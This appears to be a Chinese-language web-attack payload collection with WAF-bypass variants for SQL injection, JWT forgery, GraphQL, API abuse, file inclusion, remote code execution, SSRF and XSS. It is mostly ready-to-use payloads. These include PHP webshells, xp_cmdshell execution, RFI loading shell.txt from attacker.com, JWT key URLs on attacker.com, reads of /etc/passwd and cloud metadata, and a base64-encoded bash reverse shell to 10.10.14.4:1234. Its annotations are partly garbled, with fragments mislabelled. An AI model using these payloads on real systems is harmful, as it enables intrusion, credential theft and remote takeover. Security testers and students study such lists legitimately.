使用URL编码分号(%3B)、换行符分隔、内联注释包裹SELECT、PREPARE预处理执行十六进制编码的查询语句

' %3B SELECT user()--
' ;%0a SELECT user()--
' ; /*!SELECT*/ user()--
'; SET @q=0x53454C45435420757365722829; PREPARE stmt FROM @q; EXECUTE stmt;--

语法解析:

  • SELECT...FROM — 查询数据 keyword
  • -- — SQL注释 operator
  • /*...*/ — 内联注释 operator
  • %xx — URL编码 encoding

堆叠查询条件执行绕过

使用字符串拼接分割命令关键字、CHAR()编码命令参数、CASE条件执行、PostgreSQL DO块执行复杂逻辑

'; IF(1=1) EXEC('wh'+'oam'+'i');--
'; DECLARE @s VARCHAR(100)=CHAR(119)+CHAR(104)+CHAR(111)+CHAR(97)+CHAR(109)+CHAR(105); EXEC xp_cmdshell @s;--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) END;--
'; DO $$ BEGIN PERFORM dblink_connect('host=attacker.com dbname=test'); END $$;--

语法解析:

  • SELECT — 查询数据 keyword
  • SLEEP() — 时间延迟 function
  • xp_cmdshell — 系统命令执行 function
  • EXEC — 执行存储过程 keyword
  • CASE WHEN — 条件表达式 keyword
  • -- — SQL注释 operator

API安全

JWT安全漏洞 jwt-security

JSON Web Token安全漏洞利用

WAF 绕过:

JWK/JKU头部注入

通过在JWT Header中注入jwk(内嵌密钥)或jku(远程密钥集URL)指向攻击者控制的密钥,使服务端使用攻击者密钥验证签名

# JWK内嵌公钥注入:
# 在JWT Header中嵌入攻击者的公钥:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"attacker_n","e":"AQAB"}}
# 服务端使用Header中的JWK验证签名

# JKU远程密钥集注入:
{"alg":"RS256","typ":"JWT","jku":"http://attacker.com/.well-known/jwks.json"}
# 服务端从攻击者控制的URL获取密钥

语法解析:

  • # JWK内嵌公钥注入: — 主要命令 command
  • ... — 共7行 value

x5c证书链注入

通过x5c头部注入攻击者自签证书链,使服务端从证书中提取公钥进行验证,攻击者用对应私钥签名即可伪造任意JWT

# 生成自签名证书:
openssl req -x509 -nodes -newkey rsa:2048 -keyout attacker.key -out attacker.crt -subj "/CN=attacker"

# 构造JWT Header:
{"alg":"RS256","x5c":["ATTACKER_CERT_BASE64"]}

# 用攻击者私钥签名,x5c中放入攻击者证书
# 服务端从x5c提取公钥验证签名,攻击者自签即可通过

# 使用jwt_tool:
python3 jwt_tool.py <token> -X s -pr attacker.key

语法解析:

  • # 生成自签名证书: — 主要命令 command
  • ... — 共8行 value

GraphQL注入攻击 graphql-injection

GraphQL API注入与信息泄露攻击

WAF 绕过:

字段建议绕过

利用字段建议和片段枚举

# 利用字段建议功能
query {
  userr(id: 1) { name }
}
# 返回: Did you mean "user"?

# 枚举隐藏字段
query {
  user(id: 1) {
    __typename
    ...on AdminUser {
      adminSecret
    }
  }
}

语法解析:

  • ...on AdminUser — GraphQL内联片段 value

指令注入

使用GraphQL指令绕过

# 使用指令绕过
query {
  user(id: 1) @deprecated {
    name
  }
}

# 自定义指令攻击
mutation @skip(if: false) {
  deleteUser(id: 1)
}

语法解析:

  • @deprecated — 弃用指令 value
  • @skip — 条件跳过指令 value

GraphQL内省攻击 graphql-introspection

利用GraphQL内省功能获取API结构

WAF 绕过:

绕过内省禁用

绕过内省禁用检测

# 某些实现只检查特定字符串
# 尝试不同格式
query { __schema { types { name } } }
query IntrospectionQuery { __schema { types { name } } }
{"query":"{__schema{types{name}}}"

# 使用GET请求
curl "http://target.com/graphql?query={__schema{types{name}}}"

GraphQL批量查询攻击 graphql-batching

利用GraphQL批量查询绕过速率限制

WAF 绕过:

绕过批量限制

绕过批量查询限制

# 分散查询
# 使用不同的查询格式
query BatchQuery {
  user1: user(id: 1) { ...UserFields }
  user2: user(id: 2) { ...UserFields }
}
fragment UserFields on User {
  name
  email
}

# 使用变量批量
query GetUser($ids: [ID!]!) {
  users(ids: $ids) {
    name
    email
  }
}

语法解析:

  • query{...} — GraphQL查询 format

REST API安全测试 rest-api-security

REST API安全测试与漏洞利用

WAF 绕过:

API版本绕过

使用不同API版本绕过

# 尝试不同API版本
/api/v1/users  # 可能已修复
/api/v2/users  # 可能未修复
/api/users     # 旧版本可能无保护

# 尝试内部API
/internal/api/users
/private/api/users
/_api/users

语法解析:

  • # 尝试不同API版本 /api/v1/users # 可能已修复 /api/v2/users # 可能未修复 /api/users # 旧版 — 攻击载荷 value

编码绕过

使用编码绕过

# URL编码
curl http://target.com/api/users/%31  # /users/1

# Unicode编码
curl http://target.com/api/users/%u0031

# 双重URL编码
curl http://target.com/api/users/%2531

语法解析:

Unicode编码

curl h` — 攻击载荷 value


JWT None算法攻击 jwt-none-alg

利用JWT None算法绕过签名验证

WAF 绕过:

算法混淆

尝试算法变体

# 尝试不同变体
{"alg":"none"}
{"alg":"None"}
{"alg":"NONE"}
{"alg":"nOnE"}
{"alg":""}
{"alg":null}

# 移除alg字段
{"typ":"JWT"}

语法解析:

  • # — 命令/载荷起始 command
  • ` 尝试不同变体 {"alg":"none"} {"alg":"None"} {"alg":"NONE"} {"alg":"nOnE"} {"alg":""} {"alg":null}

移除alg字段

{"typ":"JWT"}` — 参数与载荷内容 value

签名绕过

签名绕过变体

# 空签名
header.payload.

# 任意签名
header.payload.anysignature

# 使用原始签名
# 某些库会忽略签名验证

语法解析:

  • # — 命令/载荷起始 command
  • ` 空签名 header.payload.

任意签名

header.payload.anysignature

使用原始签名

某些库会忽略签名验证` — 参数与载荷内容 value


JWT密钥混淆攻击 jwt-key-confusion

利用JWT算法混淆实现签名绕过

WAF 绕过:

kid注入

通过kid参数注入

# kid参数注入
# 修改JWT头部kid字段
{"alg":"HS256","typ":"JWT","kid":"../../dev/null"}

# SQL注入kid
{"alg":"HS256","typ":"JWT","kid":"key UNION SELECT secret--"}

# 命令注入kid
{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"}

语法解析:

  • kid — Key ID,指定使用的密钥 value

jku/x5u绕过

通过jku/x5u绕过

# jku指向攻击者服务器
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"}

# x5u指向攻击者证书
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}

# 在攻击者服务器托管恶意密钥

语法解析:

  • jku — JWK Set URL value
  • x5u — X.509 URL value

IDOR不安全的直接对象引用 api-idor

利用IDOR漏洞访问未授权资源

WAF 绕过:

ID变体绕过

ID变体绕过

# 数字变体
/api/users/001
/api/users/1
/api/users/0x1
/api/users/1.0

# 编码绕过
/api/users/%31  # URL编码
/api/users/MSAg  # Base64编码

# 数组绕过
/api/users?id[]=1&id[]=2
/api/users[0]=1&users[1]=2

语法解析:

  • %xx — URL编码 encoding
  • base64 — Base64编码 encoding

参数污染

参数污染绕过

# 参数污染
/api/users?id=1&id=2
/api/users?id=2&id=1

# JSON注入
{"id": 1, "id": 2}

# 批量操作
/api/users/batch?ids=1,2,3,4,5

语法解析:

  • # — 命令/载荷起始 command
  • ` 参数污染 /api/users?id=1&id=2 /api/users?id=2&id=1

JSON注入

{"id": 1, "id": 2}

批量操作

/api/users/batch?ids=1,2,3,4,5` — 参数与载荷内容 value


API速率限制绕过 api-rate-limit

绕过API速率限制进行暴力攻击

WAF 绕过:

API Key轮换

API Key轮换

# 使用多个API Key
api_keys = ["key1", "key2", "key3", "key4"]
for i, key in enumerate(api_keys):
    requests.get("http://target.com/api/test", headers={"X-API-Key": key})

# 注册多个账户获取多个Token

语法解析:

  • # 使用多个API Key api_keys = ["key1", "key2", "key3", "key4"] for i, key in enumer — 攻击载荷 value

请求分散

请求分散

# 添加延迟
import time
for i in range(100):
    requests.get("http://target.com/api/test")
    time.sleep(0.5)  # 每次请求头隔0.5秒

# 分散到不同时间段
# 使用定时任务分散请求

语法解析:

  • # 添加延迟 import time for i in range(100): requests.get("http://target.com/api/test") time. — SQL表达式 value
  • sleep — SQL关键字 keyword
  • `(0.5) # 每次请求头隔0.5秒

分散到不同时间段

使用定时任务分散请求` — SQL表达式 value


批量赋值漏洞 api-mass-assignment

利用批量赋值漏洞修改敏感字段

WAF 绕过:

字段变体

尝试字段变体

# 尝试不同字段名
is_admin, is_Admin, IS_ADMIN
admin, Admin, ADMIN
user_type, userType, user_type_id

# 尝试内部字段
__v, _id, created_at, updated_at
password_hash, passwordHash

语法解析:

  • # 尝试不同字段名 is_admin, is_Admin, IS_ADMIN admin, Admin, ADMIN user_type, userTyp — 攻击载荷 value

类型混淆

类型混淆测试

# 数字转布尔
{"isAdmin": 1}
{"isAdmin": "true"}

# 数组转字符串
{"roles": "admin"}

# 对象转数组
{"settings": ["admin"]}

语法解析:

  • # — 命令/载荷起始 command
  • ` 数字转布尔 {"isAdmin": 1} {"isAdmin": "true"}

数组转字符串

{"roles": "admin"}

对象转数组

{"settings": ["admin"]}` — 参数与载荷内容 value


BOLA破坏对象级授权 api-bola

利用BOLA漏洞访问未授权对象

WAF 绕过:

路径遍历

路径遍历绕过

# 路径遍历访问
GET /api/users/../admin
GET /api/users/..%2Fadmin

# 编码绕过
GET /api/users/%2e%2e/admin
GET /api/users/..%c0%afadmin

语法解析:

  • # — 命令/载荷起始 command
  • ` 路径遍历访问 GET /api/users/../admin GET /api/users/..%2Fadmin

编码绕过

GET /api/users/%2e%2e/admin GET /api/users/..%c0%afadmin` — 参数与载荷内容 value

参数篡改

参数篡改绕过

# 修改请求方法
# GET变POST
POST /api/documents/doc_123

# 添加参数
GET /api/documents/doc_123?user_id=attacker

# 修改Content-Type
Content-Type: application/xml
<document><id>doc_123</id></document>

语法解析:

  • # — 命令/载荷起始 command
  • ` 修改请求方法

GET变POST

POST /api/documents/doc_123

添加参数

GET /api/documents/doc_123?user_id=attacker

修改Content-Type

Content-Type: application/xml doc_123` — 参数与载荷内容 value


API注入攻击 api-injection

API端点中的各类注入攻击

WAF 绕过:

编码绕过

编码绕过

# URL编码
GET /api/users?id=1%20OR%201%3D1

# Unicode编码
GET /api/users?id=1%u0020OR%u00201%3D1

# 双重编码
GET /api/users?id=1%2520OR%25201%253D1

语法解析:

  • # — 命令/载荷起始 command
  • ` URL编码 GET /api/users?id=1%20OR%201%3D1

Unicode编码

GET /api/users?id=1%u0020OR%u00201%3D1

双重编码

GET /api/users?id=1%2520OR%25201%253D1` — 参数与载荷内容 value

Content-Type绕过

Content-Type绕过

# 切换Content-Type
Content-Type: application/xml
<user><id>1 OR 1=1</id></user>

Content-Type: application/x-www-form-urlencoded
id=1+OR+1=1

# JSON数组
{"id": ["1", "OR", "1=1"]}

语法解析:

  • # 切换Content-Type Content-Type: application/xml <user><id>1 — SQL表达式 value
  • OR — SQL关键字 keyword
  • ` 1=1

Content-Type: application/x-www-form-urlencoded id=1+` — SQL表达式 value

  • OR — SQL关键字 keyword
  • `+1=1

JSON数组

{"id": ["1", "` — SQL表达式 value

  • OR — SQL关键字 keyword
  • ", "1=1"]} — SQL表达式 value

LFI/RFI文件包含

本地文件包含 lfi-basic

本地文件包含漏洞利用技术

WAF 绕过:

目录遍历绕过

绕过目录遍历过滤

....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
..%c0%af..%c0%af..%c0%afetc/passwd
....\/....\/....\/etc/passwd

语法解析:

  • %252f — 双重URL编码的斜杠 encoding
  • %c0%af — UTF-8编码的斜杠 variable

后缀绕过

绕过文件后缀检查

../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd/.jpg
php://filter/convert.base64-encode/resource=config.php%00

语法解析:

  • %00 — 空字节截断 encoding

远程文件包含 rfi-basic

远程文件包含漏洞利用技术

WAF 绕过:

双写绕过

双写绕过关键字过滤

?file=htthttp://p://attacker.com/shell.txt
?file=http://attackerattacker.com.com/shell.txt

语法解析:

  • ?file=htthttp://p://attacker.com/shell.txt ?file=http://attackerattacker.com.co — 攻击载荷 value

大小写混淆

大小写混淆绕过

?file=HtTp://attacker.com/shell.txt
?file=HTTP://attacker.com/shell.txt

语法解析:

  • ?file=HtTp://attacker.com/shell.txt ?file=HTTP://attacker.com/shell.txt — 攻击载荷 value

协议替换

使用其他协议

?file=ftp://attacker.com/shell.txt
?file=php://filter/convert.base64-encode/resource=http://attacker.com/shell.txt

语法解析:

  • ?file=ftp://attacker.com/shell.txt ?file=php://filter/convert.base64-encode/res — 攻击载荷 value

日志投毒LFI lfi-log-poison

通过日志投毒实现LFI到RCE

WAF 绕过:

编码绕过

WAF绕过技术

# 使用Base64编码
<?php eval(base64_decode($_GET['c'])); ?>
# 然后传递Base64编码的命令

语法解析:

  • eval() — 代码执行 function
  • base64_decode — Base64解码 function

PHP伪协议利用 lfi-wrapper

利用PHP伪协议进行LFI攻击

WAF 绕过:

大小写混淆

大小写混淆绕过

?file=Php://filter/convert.base64-encode/resource=config.php
?file=DATA://text/plain,<?php system('id'); ?>

语法解析:

  • system() — 执行系统命令 function
  • base64 — Base64编码 encoding
  • php://filter — PHP流过滤器 technique
  • data:// — 数据流协议 technique

双重URL编码

双重URL编码绕过

?file=php%3A%2F%2Ffilter/convert.base64-encode/resource=config.php
?file=%70%68%70%3a%2f%2finput

语法解析:

  • ?file=php%3A%2F%2Ffilter/convert.base64-encode/resource=config.php ?file=%70%68 — 攻击载荷 value

目录遍历技术 lfi-traversal

LFI目录遍历绕过技术

WAF 绕过:

混合编码

混合编码绕过

..%2f..%c0%af..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd

语法解析:

  • ..%2f..%c0%af..%2fetc/passwd %2e%2e/%2e%2e/%2e%2e/etc/passwd — 攻击载荷 value

空字节截断

空字节截断绕过后缀

../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd%00.html

语法解析:

  • %00 — 空字节截断 encoding

点号截断(Windows)

Windows点号截断 platform: windows

../../../windows/win.ini.
../../../windows/win.ini...
../../../boot.ini……

语法解析:

  • ../../../windows/win.ini. ../../../windows/win.ini... ../../../boot.ini…… — 攻击载荷 value

PHP Filter链攻击 lfi-php-filter

利用PHP Filter链进行LFI攻击

WAF 绕过:

大小写混淆

大小写混淆绕过

?file=PHP://FILTER/CONVERT.BASE64-ENCODE/RESOURCE=config.php
?file=PhP://FiLtEr/convert.base64-encode/resource=config.php

语法解析:

  • ?file=PHP://FILTER/CONVERT.BASE64-ENCODE/RESOURCE=config.php ?file=PhP://FiLtEr — 攻击载荷 value

编码绕过

URL编码绕过

?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72/convert.base64-encode/resource=config.php

语法解析:

  • ?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72/convert.base64-encode/resource=config — 攻击载荷 value

PHP Input执行 lfi-php-input

利用php://input执行PHP代码

WAF 绕过:

编码绕过

使用编码绕过

# Base64编码
POST: <?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>
# 解码后: system($_GET['c']);

# Rot13编码
POST: <?php eval(str_rot13('flfgrz($_TRG['p']);')); ?>

语法解析:

  • eval() — 代码执行 function
  • base64_decode — Base64解码 function

短标签

WAF绕过技术

POST: <?=system($_GET['c']);?>
POST: <?=`$_GET[c]`?>

语法解析:

  • system() — 系统命令执行 function

PHP Data协议攻击 lfi-php-data

利用data://协议执行PHP代码

WAF 绕过:

大小写混淆

大小写混淆绕过

?file=DATA://TEXT/PLAIN,<?php system('id'); ?>
?file=Data://Text/Plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

语法解析:

  • system() — 执行系统命令 function
  • data:// — 数据流协议 technique

URL编码

URL编码绕过

?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%69%64%27%29%3b%20%3f%3e

语法解析:

  • ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%3c%3f%70%68%70%20%7 — 攻击载荷 value

MIME类型变换

变换MIME类型

?file=data://text/html,<?php system('id'); ?>
?file=data://application/x-httpd-php,<?php system('id'); ?>

语法解析:

  • system() — 执行系统命令 function
  • data:// — 数据流协议 technique

PHP Zip协议攻击 lfi-php-zip

利用zip://协议进行LFI攻击

WAF 绕过:

使用phar://

使用phar://协议

?file=phar://uploads/shell.zip/shell.txt&c=id
# phar://也可以访问zip文件

语法解析:

  • ?file=phar://uploads/shell.zip/shell.txt&c=id # — 命令/载荷起始 command
  • phar://也可以访问zip文件 — 参数与载荷内容 value

压缩包嵌套

压缩包嵌套绕过

# 在zip中嵌套zip
zip inner.zip shell.txt
zip outer.zip inner.zip

# 包含
?file=zip://outer.zip%23inner.zip%23shell.txt&c=id

语法解析:

  • # — 命令/载荷起始 command
  • ` 在zip中嵌套zip zip inner.zip shell.txt zip outer.zip inner.zip

包含

?file=zip://outer.zip%23inner.zip%23shell.txt&c=id` — 参数与载荷内容 value


Phar反序列化攻击 lfi-phar

利用Phar反序列化进行RCE

WAF 绕过:

Base64编码

Base64编码绕过

# 将Phar内容Base64编码
# 然后解码触发

语法解析:

  • # — 命令/载荷起始 command
  • ` 将Phar内容Base64编码

然后解码触发` — 参数与载荷内容 value

伪协议组合

伪协议组合

?file=php://filter/convert.base64-encode/resource=phar://exploit.phar
# 组合使用

语法解析:

  • ?file=php://filter/convert.base64-encode/resource=phar://exploit.phar # — 命令/载荷起始 command
  • 组合使用 — 参数与载荷内容 value

Session文件包含 lfi-session

利用Session文件进行LFI攻击

WAF 绕过:

Session ID预测

预测Session ID

# 尝试预测Session ID
# 常见模式: md5(ip.time.random)
# 暴力枚举Session ID

语法解析:

  • # — 命令/载荷起始 command
  • ` 尝试预测Session ID

常见模式: md5(ip.time.random)

暴力枚举Session ID` — 参数与载荷内容 value


Proc文件系统利用 lfi-proc

利用/proc文件系统进行LFI攻击

WAF 绕过:

使用self

使用self引用 platform: linux

?file=/proc/self/environ
?file=proc/self/environ

语法解析:

  • ?file=/proc/self/environ ?file=proc/self/environ — 攻击载荷 value

RCE远程代码执行

命令注入 rce-command-injection

操作系统命令注入攻击技术

WAF 绕过:

空格绕过

绕过空格过滤 platform: linux

;{cat,/etc/passwd}
;cat$IFS/etc/passwd
;cat</etc/passwd
;cat%09/etc/passwd
;cat${IFS}/etc/passwd

语法解析:

  • $IFS — 内部字段分隔符变量 variable
  • %09 — Tab字符URL编码 encoding
  • {} — 大括号扩展 value

关键字绕过

绕过关键字过滤 platform: linux

; c''at /etc/passwd
; c""at /etc/passwd
; c\at /etc/passwd
; /bin/c?a?t /etc/passwd
; /bin/ca[t] /etc/passwd

编码绕过

使用编码绕过 platform: linux

; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
; $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

语法解析:

  • base64 -d — Base64解码 value
  • printf "\x" — 十六进制编码 value

PHP代码执行 rce-php

PHP代码执行漏洞利用技术

WAF 绕过:

回调函数绕过

使用回调函数

array_map('assert',array($_POST[cmd]));
call_user_func('assert',$_POST[cmd]);
$a='assert';$a($_POST[cmd]);

语法解析:

  • array_map — PHP数组映射回调函数 function
  • assert — 执行PHP代码的断言函数 function
  • call_user_func — 调用用户回调函数 function
  • $_POST[cmd] — 从POST参数获取命令 variable

变量函数绕过

WAF绕过技术

$func=$_GET['func'];$cmd=$_GET['cmd'];$func($cmd);

语法解析:

  • $func=$_GET["func"] — 从GET参数获取函数名 variable
  • $cmd=$_GET["cmd"] — 从GET参数获取命令 variable
  • $func($cmd) — 变量函数调用,动态执行 technique

PHP Filter链RCE rce-php-filter

利用PHP Filter链构造RCE

WAF 绕过:

编码绕过

编码组合绕过

使用不同编码过滤器组合
绕过关键字检测

语法解析:

  • 使用不同编码过滤器组合 绕过关键字检测 — 攻击载荷 value

盲命令注入 rce-cmd-blind

无回显的命令注入利用技术

WAF 绕过:

编码绕过

Base64编码绕过 platform: linux

; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
使用Base64编码绕过

语法解析:

  • ; — 命令/载荷起始 command
  • echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash 使用Base64编码绕过 — 参数与载荷内容 value

反序列化漏洞 rce-deserialize

利用反序列化漏洞实现RCE

WAF 绕过:

签名绕过

绕过签名验证

如果存在签名验证
需要获取密钥重新签名

语法解析:

  • 如果存在签名验证 需要获取密钥重新签名 — 攻击载荷 value

PHP反序列化 rce-deserialize-php

PHP反序列化漏洞利用技术

WAF 绕过:

属性修饰符绕过

属性修饰符处理

使用public/private/protected属性
注意序列化格式差异:
public: s:3:"cmd"
private: s:8:"\0Class\0cmd"
protected: s:7:"\0*\0cmd"

语法解析:

  • public: s:3:"cmd" — 公有属性直接序列化属性名 value
  • private: s:8:"\0Class\0cmd" — 私有属性前后加\0和类名,长度包含null字节 value
  • protected: s:7:"\0*\0cmd" — 受保护属性前后加\0和*号 value

Java反序列化 rce-deserialize-java

Java反序列化漏洞利用技术

WAF 绕过:

二次反序列化

二次反序列化绕过

使用SignedObject或RMI绕过黑名单

语法解析:

  • SignedObject — JDK内置类,包装另一个序列化对象绕过黑名单检测 command
  • RMI — 远程方法调用,通过网络传输序列化对象绕过本地检测 command

反射绕过

反射绕过

使用反射设置属性绕过限制

语法解析:

  • 反射 — Java反射机制在运行时动态修改对象属性绕过限制 command
  • setAccessible(true) — 突破private访问限制,修改私有字段值 parameter

文件上传漏洞 rce-file-upload

利用文件上传漏洞获取RCE

WAF 绕过:

Content-Type绕过

Content-Type绕过

修改请求中的Content-Type为允许的类型
image/jpeg, image/png, image/gif

语法解析:

  • Content-Type — HTTP请求头中的MIME类型字段 parameter
  • image/jpeg — 伪装为JPEG图片的MIME类型绕过服务端检测 value
  • image/png, image/gif — 其他常见的白名单MIME类型 value

文件头绕过

文件头绕过

在恶意文件前添加图片文件头
GIF89a<?php eval($_POST[cmd]);?>

语法解析:

  • GIF89a — GIF文件魔术头(文件签名),6字节 command
  • <?php eval([cmd]);?> — 在文件头之后追加PHP代码 value

文件包含RCE rce-include

利用文件包含漏洞实现RCE

WAF 绕过:

编码绕过

URL编码绕过

?file=%2fvar%2flog%2fapache2%2faccess.log
URL编码路径

语法解析:

  • ?file=%2fvar%2flog%2fapache2%2faccess.log URL编码路径 — 攻击载荷 value

日志投毒RCE rce-log-poison

利用日志投毒实现RCE

WAF 绕过:

编码绕过

编码绕过

使用URL编码或Base64编码绕过关键字过滤

语法解析:

  • 使用URL编码或Base64编码绕过关键字过滤 — 攻击载荷 value

图片马RCE rce-image

利用图片马实现RCE

WAF 绕过:

文件头伪装

文件头伪装

使用真实图片文件头
确保图片可正常预览

语法解析:

  • 真实图片文件头 — 使用完整的图片文件头(如JPEG的FF D8 FF E0) command
  • 可正常预览 — 确保图片能正常打开显示,避免文件完整性检查失败 parameter

.htaccess利用 rce-htaccess

利用.htaccess文件实现RCE

WAF 绕过:

换行绕过

换行绕过 platform: linux

使用换行符分隔配置
绕过单行检测

语法解析:

  • 使用换行符分隔配置 绕过单行检测 — 攻击载荷 value

SSRF服务端请求伪造

基础SSRF攻击 ssrf-basic

服务端请求伪造基础攻击技术

WAF 绕过:

IP格式绕过

使用不同IP格式绕过

http://0177.0.0.1 (八进制)
http://2130706433 (十进制)
http://0x7f000001 (十六进制)
http://127.1 (简写)
http://127.0.0.1.nip.io (DNS重绑定)

语法解析:

  • 0177 — 127的八进制表示 value
  • 2130706433 — 127.0.0.1的十进制表示 value

URL解析差异

利用URL解析差异

http://attacker.com#@127.0.0.1/
http://127.0.0.1.attacker.com
http://attacker.com\@127.0.0.1/
利用URL解析差异绕过

语法解析:

  • 127.0.0.1 — 本地回环 domain

DNS重绑定

DNS重绑定攻击

使用DNS重绑定服务:
http://7f000001.cip.cc (解析为127.0.0.1)
http://127.0.0.1.nip.io
第一次解析为外网IP,第二次解析为内网IP

语法解析:

  • 使用DNS重绑定服务: http://7f000001.cip.cc — 命令/载荷起始 command
  • (解析为127.0.0.1) http://127.0.0.1.nip.io 第一次解析为外网IP,第二次解析为内网IP — 参数与载荷内容 value

AWS元数据攻击 ssrf-cloud-aws

利用SSRF访问AWS EC2元数据服务

WAF 绕过:

IP编码变体绕过

通过十进制、十六进制、八进制及IPv6映射等IP地址编码方式绕过169.254.169.254黑名单检测

# 十进制整数:
http://2852039166/latest/meta-data/
# 十六进制:
http://0xA9FEA9FE/latest/meta-data/
# 八进制:
http://0251.0376.0251.0376/latest/meta-data/
# IPv6映射:
http://[::ffff:169.254.169.254]/latest/meta-data/
# 混合编码:
http://0xA9.0376.169.0xFE/latest/meta-data/

语法解析:

  • # 十进制整数: — 主要命令 command
  • ... — 共10行 value

DNS重绑定与重定向链绕过

利用DNS重绑定使域名在验证时解析为安全IP而实际请求时解析为元数据地址,或通过HTTP重定向链和非标准协议绕过

# DNS重绑定(使用rebind服务):
http://7f000001.A9FEA9FE.rbndr.us/latest/meta-data/
# 第一次解析到允许的IP,第二次解析到169.254.169.254

# 重定向链:
# 在attacker.com设置302跳转到http://169.254.169.254
http://attacker.com/redirect?url=http://169.254.169.254/latest/meta-data/

# URL schema变体:
gopher://169.254.169.254:80/_GET%20/latest/meta-data/%20HTTP/1.1%0AHost:%20169.254.169.254%0A%0A

语法解析:

  • # DNS重绑定(使用rebind服务): — 主要命令 command
  • ... — 共8行 value

GCP元数据攻击 ssrf-cloud-gcp

利用SSRF攻击Google Cloud元数据服务

WAF 绕过:

使用IP地址

绕过域名过滤

http://169.254.169.254/computeMetadata/v1/
使用内网IP代替域名

语法解析:

  • http://169.254.169.254/computeMetadata/v1/ 使用内网IP代替域名 — 攻击载荷 value

Azure元数据攻击 ssrf-cloud-azure

利用SSRF攻击Azure元数据服务

WAF 绕过:

绕过Metadata头检查

绕过请求头验证

使用HTTP请求走私或重定向绕过Metadata头检查

语法解析:

  • 使用HTTP请求走私或重定向绕过Metadata头检查 — 攻击载荷 value

SSRF协议利用 ssrf-protocol

利用各种协议进行SSRF攻击

WAF 绕过:

协议大小写绕过

大小写混合绕过

FILE:///etc/passwd
File:///etc/passwd
Gopher://127.0.0.1:6379/

语法解析:

  • FILE:///etc/passwd File:///etc/passwd Gopher://127.0.0.1:6379/ — 攻击载荷 value

Gopher协议攻击 ssrf-gopher

利用Gopher协议攻击内网服务

WAF 绕过:

双重URL编码

双重URL编码绕过

gopher://127.0.0.1:6379/_%252a%250d%250a...
双重编码绕过

语法解析:

  • gopher://127.0.0.1:6379/_%252a%250d%250a... 双重编码绕过 — 攻击载荷 value

Dict协议攻击 ssrf-dict

利用Dict协议探测和攻击内网服务

WAF 绕过:

编码绕过

URL编码绕过关键字过滤

dict://127.0.0.1:6379/%73%65%74%20...
URL编码命令

语法解析:

  • dict://127.0.0.1:6379/%73%65%74%20... URL编码命令 — 攻击载荷 value

File协议攻击 ssrf-file

利用File协议读取本地文件

WAF 绕过:

大小写混合

大小写混合绕过

FILE:///etc/passwd
File:///etc/passwd
file:///ETC/PASSWD

语法解析:

  • FILE:///etc/passwd File:///etc/passwd file:///ETC/PASSWD — 攻击载荷 value

SSRF绕过技术 ssrf-bypass

各种绕过SSRF过滤的技术

WAF 绕过:

组合绕过

组合多种绕过技术

http://0x7f.0.0.1
http://0177.0.0.1
http://127.000.000.001
多种格式组合

语法解析:

  • http://0x7f.0.0.1 http://0177.0.0.1 http://127.000.000.001 多种格式组合 — 攻击载荷 value

DNS重绑定攻击 ssrf-dns-rebinding

利用DNS重绑定绕过SSRF防护

WAF 绕过:

多IP响应

利用多IP响应

DNS响应包含多个A记录
服务器可能选择不同的IP

语法解析:

  • DNS响应包含多个A记录 服务器可能选择不同的IP — 攻击载荷 value

SSRF攻击Redis ssrf-redis

利用SSRF攻击内网Redis服务

WAF 绕过:

Gopher协议构造

使用Gopher协议

使用Gopher协议构造完整的Redis命令序列
可以绕过Dict协议限制

语法解析:

  • 使用Gopher协议构造完整的Redis命令序列 可以绕过Dict协议限制 — 攻击载荷 value

SSRF攻击MySQL ssrf-mysql

利用SSRF攻击内网MySQL服务

WAF 绕过:

无密码MySQL

利用空密码配置

如果MySQL允许空密码连接
可以更容易构造攻击载荷

语法解析:

  • 空密码连接 — MySQL允许空密码时,认证包中密码字段为空 command
  • 简化协议构造 — 无需计算密码哈希,攻击载荷更简单更可靠 parameter

XSS跨站脚本

反射型XSS xss-reflected

反射型跨站脚本攻击技术

WAF 绕过:

HTML实体编码

使用HTML实体编码绕过

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

语法解析:

  • &#97; — a的十进制HTML实体 encoding
  • &#x61; — a的十六进制HTML实体 encoding

Unicode编码

使用Unicode编码绕过

<script>\u0061lert(1)</script>
<img src=x onerror=\u0061lert(1)>

语法解析:

  • \a — a的Unicode编码 value

双写绕过

双写绕过关键字删除

<scr<script>ipt>alert(1)</scr</script>ipt>
<imimgg src=x onerror=alert(1)>

语法解析:

  • <scr<script> — HTML标签/事件处理器 tag
  • ipt>alert(1) — 注入代码 value
  • </scr</script> — HTML标签/事件处理器 tag
  • ipt> — 注入代码 value
  • <imimgg src=x onerror=alert(1)> — HTML标签/事件处理器 tag

注释混淆

使用注释混淆

<script>/**/alert(1)/**/</script>
<img src=x/**/onerror=alert(1)>
<svg on<!--test-->load=alert(1)>

语法解析:

  • <script> — HTML标签/事件处理器 tag
  • /**/alert(1)/**/ — 注入代码 value
  • </script> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <img src=x/**/onerror=alert(1)> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <svg on<!--test--> — HTML标签/事件处理器 tag
  • load=alert(1)> — 注入代码 value

